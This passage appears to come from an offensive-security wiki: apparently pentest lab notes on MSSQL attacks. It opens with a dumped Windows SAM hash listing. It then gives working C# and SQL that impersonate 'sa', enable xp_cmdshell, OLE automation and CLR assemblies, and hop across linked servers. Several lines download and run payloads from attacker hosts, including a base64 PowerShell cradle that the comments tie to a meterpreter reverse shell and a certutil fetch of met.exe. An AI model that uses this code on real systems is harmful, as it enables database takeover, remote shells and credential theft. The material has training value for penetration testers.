[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
